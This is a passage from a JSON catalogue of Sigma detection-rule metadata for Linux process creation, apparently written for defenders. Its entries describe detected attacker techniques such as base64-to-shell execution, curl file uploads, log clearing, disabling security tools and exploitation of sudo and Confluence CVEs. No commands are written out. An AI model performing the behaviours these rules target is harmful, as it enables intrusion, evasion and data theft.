"e2072cab-8c9a-459b-b63c-40ae79e27031", - "value": "Decode Base64 Encoded Text", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1027/T1027.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_decode.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_lnx_base64_decode.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious process command line that uses base64 encoded input for execution with a shell", - "uuid": "ba592c6d-6888-43c3-b8c6-689b8fe47337", - "value": "Linux Base64 Encoded Pipe to Shell", - "meta": { - "refs": [ - "https://github.com/arget13/DDexec", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_execution.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ], - "creation_date": "2022/07/26", - "filename": "proc_creation_lnx_base64_execution.yml", - "author": "pH-T", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects the presence of a base64 version of the shebang in the commandline, which could indicate a malicious payload about to be decoded", - "uuid": "fe2f9663-41cb-47e2-b954-8a228f3b9dff", - "value": "Linux Base64 Encoded Shebang In CLI", - "meta": { - "refs": [ - "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", - "https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_base64_shebang_cli.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1140" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_base64_shebang_cli.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects the usage of the unsafe bpftrace option", - "uuid": "f8341cb2-ee25-43fa-a975-d8a5a9714b39", - "value": "BPFtrace Unsafe Option Usage", - "meta": { - "refs": [ - "https://embracethered.com/blog/posts/2021/offensive-bpf-bpftrace/", - "https://bpftrace.org/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_bpftrace_unsafe_option_usage.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.004" - ], - "creation_date": "2022/02/11", - "filename": "proc_creation_lnx_bpftrace_unsafe_option_usage.yml", - "author": "Andreas Hunkeler (@Karneades)", - "level": "medium", - "falsepositive": [ - "Legitimate usage of the unsafe option" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects the execution of a cat /etc/sudoers to list all users that have sudo rights", - "uuid": "0f79c4d2-4e1f-4683-9c36-b5469a665e06", - "value": "Cat Sudoers", - "meta": { - "refs": [ - "https://github.com/sleventyeleven/linuxprivchecker/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cat_sudoers.yml" - ], - "tags": [ - "attack.reconnaissance", - "attack.t1592.004" - ], - "creation_date": "2022/06/20", - "filename": "proc_creation_lnx_cat_sudoers.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of the 'chattr' utility to remove immutable file attribute.", - "uuid": "34979410-e4b5-4e5d-8cfb-389fdff05c12", - "value": "Remove Immutable File Attribute", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_chattr_immutable_removal.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_chattr_immutable_removal.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Administrator interacting with immutable files (e.g. for instance backups)." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to clear logs on the system. Adversaries may clear system logs to hide evidence of an intrusion", - "uuid": "80915f59-9b56-4616-9de0-fd0dea6c12fe", - "value": "Clear Linux Logs", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_logs.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.002" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_lnx_clear_logs.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects specific commands commonly used to remove or empty the syslog. Which is often used by attacker as a method to hide their tracks", - "uuid": "3fcc9b35-39e4-44c0-a2ad-9e82b6902b31", - "value": "Commands to Clear or Remove the Syslog", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.002/T1070.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clear_syslog.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.002" - ], - "creation_date": "2021/10/15", - "filename": "proc_creation_lnx_clear_syslog.yml", - "author": "Max Altgelt, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "high", - "falsepositive": [ - "Log rotation." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed.\nHighly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.\n", - "uuid": "ec127035-a636-4b9a-8555-0efd4e59f316", - "value": "Clipboard Collection with Xclip Tool", - "meta": { - "refs": [ - "https://www.packetlabs.net/posts/clipboard-data-security/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_clipboard_collection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1115" - ], - "creation_date": "2021/10/15", - "filename": "proc_creation_lnx_clipboard_collection.yml", - "author": "Pawel Mazur, Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "low", - "falsepositive": [ - "Legitimate usage of xclip tools." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of the 'crontab' utility to remove the current crontab.\nThis is a common occurrence where cryptocurrency miners compete against each other by removing traces of other miners to hijack the maximum amount of resources possible\n", - "uuid": "c2e234de-03a3-41e1-b39a-1e56dc17ba67", - "value": "Remove Scheduled Cron Task/Job", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crontab_removal.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_crontab_removal.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects command line parameters or strings often used by crypto miners", - "uuid": "9069ea3c-b213-4c52-be13-86506a227ab1", - "value": "Linux Crypto Mining Indicators", - "meta": { - "refs": [ - "https://www.poolwatch.io/coin/monero", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_crypto_mining.yml" - ], - "tags": "No established tags", - "creation_date": "2021/10/26", - "filename": "proc_creation_lnx_crypto_mining.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate use of crypto miners" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects a curl process start on linux, which indicates a file download from a remote location or a simple web request to a remote server", - "uuid": "ea34fb97-e2c4-4afb-810f-785e4459b194", - "value": "Curl Usage on Linux", - "meta": { - "refs": [ - "https://www.trendmicro.com/en_us/research/22/i/how-malicious-actors-abuse-native-linux-tools-in-their-attacks.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_curl_usage.yml" - ], - "tags": [ - "attack.command_and_control", - "attack.t1105" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_curl_usage.yml", - "author": "Nasreddine Bencherchali", - "level": "low", - "falsepositive": [ - "Scripts created by developers and admins", - "Administrative activity" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2022-26134", - "uuid": "7fb14105-530e-4e2e-8cfb-99f7d8700b66", - "value": "Atlassian Confluence CVE-2022-26134", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml" - ], - "tags": [ - "attack.initial_access", - "attack.execution", - "attack.t1190", - "attack.t1059", - "cve.2022.26134" - ], - "creation_date": "2022/06/03", - "filename": "proc_creation_lnx_cve_2022_26134_atlassian_confluence.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects attempts to exploit an apache spark server via CVE-2014-6287 from a commandline perspective", - "uuid": "c8a5f584-cdc8-42cc-8cce-0398e4265de3", - "value": "Apache Spark Shell Command Injection - ProcessCreation", - "meta": { - "refs": [ - "https://github.com/W01fh4cker/cve-2022-33891/blob/fd973b56e78bca8822caa3a2e3cf1b5aff5d0950/cve_2022_33891_poc.py", - "https://sumsec.me/2022/CVE-2022-33891%20Apache%20Spark%20shell%20command%20injection.html", - "https://github.com/apache/spark/pull/36315/files", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1190", - "cve.2022.33891" - ], - "creation_date": "2022/07/20", - "filename": "proc_creation_lnx_cve_2022_33891_spark_shell_command_injection.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects potential overwriting and deletion of a file using DD.", - "uuid": "2953194b-e33c-4859-b9e8-05948c167447", - "value": "DD File Overwrite", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1485/T1485.md#atomic-test-2---macoslinux---overwrite-file-with-dd", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_dd_file_overwrite.yml" - ], - "tags": [ - "attack.impact", - "attack.t1485" - ], - "creation_date": "2021/10/15", - "filename": "proc_creation_lnx_dd_file_overwrite.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "low", - "falsepositive": [ - "Any user deleting files that way." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects the doas tool execution in linux host platform. This utility tool allow standard users to perform tasks as root, the same way sudo does.", - "uuid": "067d8238-7127-451c-a9ec-fa78045b618b", - "value": "Linux Doas Tool Execution", - "meta": { - "refs": [ - "https://research.splunk.com/endpoint/linux_doas_tool_execution/", - "https://www.makeuseof.com/how-to-install-and-use-doas/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_doas_execution.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1548" - ], - "creation_date": "2022/01/20", - "filename": "proc_creation_lnx_doas_execution.yml", - "author": "Sittikorn S, Teoderick Contreras", - "level": "low", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of system utilities to discover files and directories", - "uuid": "d3feb4ee-ff1d-4d3d-bd10-5b28a238cc72", - "value": "File and Directory Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1083/T1083.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_and_directory_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1083" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_lnx_file_and_directory_discovery.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects file deletion using \"rm\", \"shred\" or \"unlink\" commands which are used often by adversaries to delete files left behind by the actions of their intrusion activity", - "uuid": "30aed7b6-d2c1-4eaf-9382-b6bc43e50c57", - "value": "File Deletion", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.004/T1070.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_file_deletion.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1070.004" - ], - "creation_date": "2020/10/07", - "filename": "proc_creation_lnx_file_deletion.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects installation of new certificate on the system which attackers may use to avoid warnings when connecting to controlled web servers or C2s", - "uuid": "78a80655-a51e-4669-bc6b-e9d206a462ee", - "value": "Install Root Certificate", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1553.004/T1553.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_install_root_certificate.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1553.004" - ], - "creation_date": "2020/10/05", - "filename": "proc_creation_lnx_install_root_certificate.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects enumeration of local systeam accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.", - "uuid": "b45e3d6f-42c6-47d8-a478-df6bd6cf534c", - "value": "Local System Accounts Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1087.001/T1087.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_account.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1087.001" - ], - "creation_date": "2020/10/08", - "filename": "proc_creation_lnx_local_account.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects enumeration of local system groups. Adversaries may attempt to find local system groups and permission settings", - "uuid": "676381a6-15ca-4d73-a9c8-6a22e970b90d", - "value": "Local Groups Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1069.001/T1069.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_local_groups.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1069.001" - ], - "creation_date": "2020/10/11", - "filename": "proc_creation_lnx_local_groups.yml", - "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects enumeration of local or remote network services.", - "uuid": "3e102cd9-a70d-4a7a-9508-403963092f31", - "value": "Linux Network Service Scanning", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_network_service_scanning.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1046" - ], - "creation_date": "2020/10/21", - "filename": "proc_creation_lnx_network_service_scanning.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of nohup which could be leveraged by an attacker to keep a process running or break out from restricted environments", - "uuid": "e4ffe466-6ff8-48d4-94bd-e32d1a6061e2", - "value": "Nohup Execution", - "meta": { - "refs": [ - "https://gtfobins.github.io/gtfobins/nohup/", - "https://en.wikipedia.org/wiki/Nohup", - "https://www.computerhope.com/unix/unohup.htm", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_nohup.yml" - ], - "tags": "No established tags", - "creation_date": "2022/06/06", - "filename": "proc_creation_lnx_nohup.yml", - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Administrators or installed processes that leverage nohup" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Rule to detect the use of the SCX RunAsProvider ExecuteScript to execute any UNIX/Linux script using the /bin/sh shell.\nScript being executed gets created as a temp file in /tmp folder with a scx* prefix.\nThen it is invoked from the following directory /etc/opt/microsoft/scx/conf/tmpdir/.\nThe file in that directory has the same prefix scx*. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", - "uuid": "6eea1bf6-f8d2-488a-a742-e6ef6c1b67db", - "value": "OMIGOD SCX RunAsProvider ExecuteScript", - "meta": { - "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", - "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executescript.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.t1068", - "attack.t1190", - "attack.t1203" - ], - "creation_date": "2021/10/15", - "filename": "proc_creation_lnx_omigod_scx_runasprovider_executescript.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "high", - "falsepositive": [ - "Legitimate use of SCX RunAsProvider ExecuteScript." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell.\nSCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including\nMicrosoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.\n", - "uuid": "21541900-27a9-4454-9c4c-3f0a4240344a", - "value": "OMIGOD SCX RunAsProvider ExecuteShellCommand", - "meta": { - "refs": [ - "https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure", - "https://github.com/Azure/Azure-Sentinel/pull/3059", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.initial_access", - "attack.execution", - "attack.t1068", - "attack.t1190", - "attack.t1203" - ], - "creation_date": "2021/10/15", - "filename": "proc_creation_lnx_omigod_scx_runasprovider_executeshellcommand.yml", - "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research), MSTIC", - "level": "high", - "falsepositive": [ - "Legitimate use of SCX RunAsProvider Invoke_ExecuteShellCommand." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects process discovery commands. Adversaries may attempt to get information about running processes on a system.\nInformation obtained could be used to gain an understanding of common software/applications running on systems within the network\n", - "uuid": "4e2f5868-08d4-413d-899f-dc2f1508627b", - "value": "Process Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1057/T1057.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_process_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1057" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_lnx_process_discovery.yml", - "author": "\u00d6mer G\u00fcnal, oscd.community", - "level": "informational", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects setting proxy configuration", - "uuid": "72f4ab3f-787d-495d-a55d-68c2ff46cf4c", - "value": "Connection Proxy", - "meta": { - "refs": [ - "https://attack.mitre.org/techniques/T1090/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_proxy_connection.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1090" - ], - "creation_date": "2020/06/17", - "filename": "proc_creation_lnx_proxy_connection.yml", - "author": "\u00d6mer G\u00fcnal", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects python spawning a pretty tty", - "uuid": "c4042d54-110d-45dd-a0e1-05c47822c937", - "value": "Python Spawning Pretty TTY", - "meta": { - "refs": [ - "https://www.volexity.com/blog/2022/06/02/zero-day-exploitation-of-atlassian-confluence/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_python_pty_spawn.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059" - ], - "creation_date": "2022/06/03", - "filename": "proc_creation_lnx_python_pty_spawn.yml", - "author": "Nextron Systems", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects the enumeration of other remote systems.", - "uuid": "11063ec2-de63-4153-935e-b1a8b9e616f1", - "value": "Linux Remote System Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_remote_system_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1018" - ], - "creation_date": "2020/10/22", - "filename": "proc_creation_lnx_remote_system_discovery.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects abuse of the cron utility to perform task scheduling for initial or recurring execution of malicious code. Detection will focus on crontab jobs uploaded from the tmp folder.", - "uuid": "6b14bac8-3e3a-4324-8109-42f0546a347f", - "value": "Scheduled Cron Task/Job", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.003/T1053.003.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_schedule_task_job_cron.yml" - ], - "tags": [ - "attack.execution", - "attack.persistence", - "attack.privilege_escalation", - "attack.t1053.003" - ], - "creation_date": "2020/10/06", - "filename": "proc_creation_lnx_schedule_task_job_cron.yml", - "author": "Alejandro Ortuno, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects usage of system utilities (only grep and egrep for now) to discover security software discovery", - "uuid": "c9d8b7fd-78e4-44fe-88f6-599135d46d60", - "value": "Security Software Discovery", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1518.001/T1518.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_software_discovery.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1518.001" - ], - "creation_date": "2020/10/19", - "filename": "proc_creation_lnx_security_software_discovery.yml", - "author": "Daniil Yugoslavskiy, oscd.community", - "level": "low", - "falsepositive": [ - "Legitimate activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects disabling security tools", - "uuid": "e3a8a052-111f-4606-9aee-f28ebeb76776", - "value": "Disabling Security Tools", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_security_tools_disabling.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1562.004" - ], - "creation_date": "2020/06/17", - "filename": "proc_creation_lnx_security_tools_disabling.yml", - "author": "\u00d6mer G\u00fcnal, Alejandro Ortuno, oscd.community", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects the usage of utilities such as 'systemctl', 'service'...etc to stop or disable tools and services", - "uuid": "de25eeb8-3655-4643-ac3a-b662d3f26b6b", - "value": "Disable Or Stop Services", - "meta": { - "refs": [ - "https://www.trendmicro.com/pl_pl/research/20/i/the-evolution-of-malicious-shell-scripts.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_services_stop_and_disable.yml" - ], - "tags": [ - "attack.defense_evasion" - ], - "creation_date": "2022/09/15", - "filename": "proc_creation_lnx_services_stop_and_disable.yml", - "author": "Nasreddine Bencherchali", - "level": "medium", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects suspicious change of file privileges with chown and chmod commands", - "uuid": "c21c4eaa-ba2e-419a-92b2-8371703cbe21", - "value": "Setuid and Setgid", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.001/T1548.001.md", - "https://attack.mitre.org/techniques/T1548/001/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_setgid_setuid.yml" - ], - "tags": [ - "attack.persistence" - ], - "creation_date": "2020/06/16", - "filename": "proc_creation_lnx_setgid_setuid.yml", - "author": "\u00d6mer G\u00fcnal", - "level": "low", - "falsepositive": [ - "Legitimate administration activities" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects users trying to exploit sudo vulnerability reported in CVE-2019-14287", - "uuid": "f74107df-b6c6-4e80-bf00-4170b658162b", - "value": "Sudo Privilege Escalation CVE-2019-14287", - "meta": { - "refs": [ - "https://www.openwall.com/lists/oss-security/2019/10/14/1", - "https://access.redhat.com/security/cve/cve-2019-14287", - "https://twitter.com/matthieugarin/status/1183970598210412546", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_sudo_cve_2019_14287.yml" - ], - "tags": [ - "attack.privilege_escalation", - "attack.t1068", - "attack.t1548.003", - "cve.2019.14287" - ], - "creation_date": "2019/10/15", - "filename": "proc_creation_lnx_sudo_cve_2019_14287.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects chmod targeting files in abnormal directory paths.", - "uuid": "6419afd1-3742-47a5-a7e6-b50386cd15f8", - "value": "Chmod Suspicious Directory", - "meta": { - "refs": [ - "https://www.intezer.com/blog/malware-analysis/new-backdoor-sysjoker/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1222.002/T1222.002.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/linux/process_creation/proc_creation_lnx_susp_chmod_directories.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1222.002" - ], - "creation_date": "2022/06/03", - "filename": "proc_creation_lnx_susp_chmod_directories.yml", - "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", - "level": "medium", - "falsepositive": [ - "Admin changing file permissions." - ], - "logsource.category": "process_creation", - "logsource.product": "linux" - } - }, - { - "description": "Detects a suspicious curl process start the adds a file to a web request", - "uuid": "00b90cc1-17ec-402c-96ad-3a8117d7a582", - "value": "Suspicious Curl File Upload - Linux", - "meta": { - "refs": [ - "https://twitter.com/d1r4c/status/1279042657508081664", - "https://medium.com/@petehouston/upload-files-with-curl-93064dcccc76", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-19---curl-upload-file", - "https://curl.se/docs/manpage.html", - 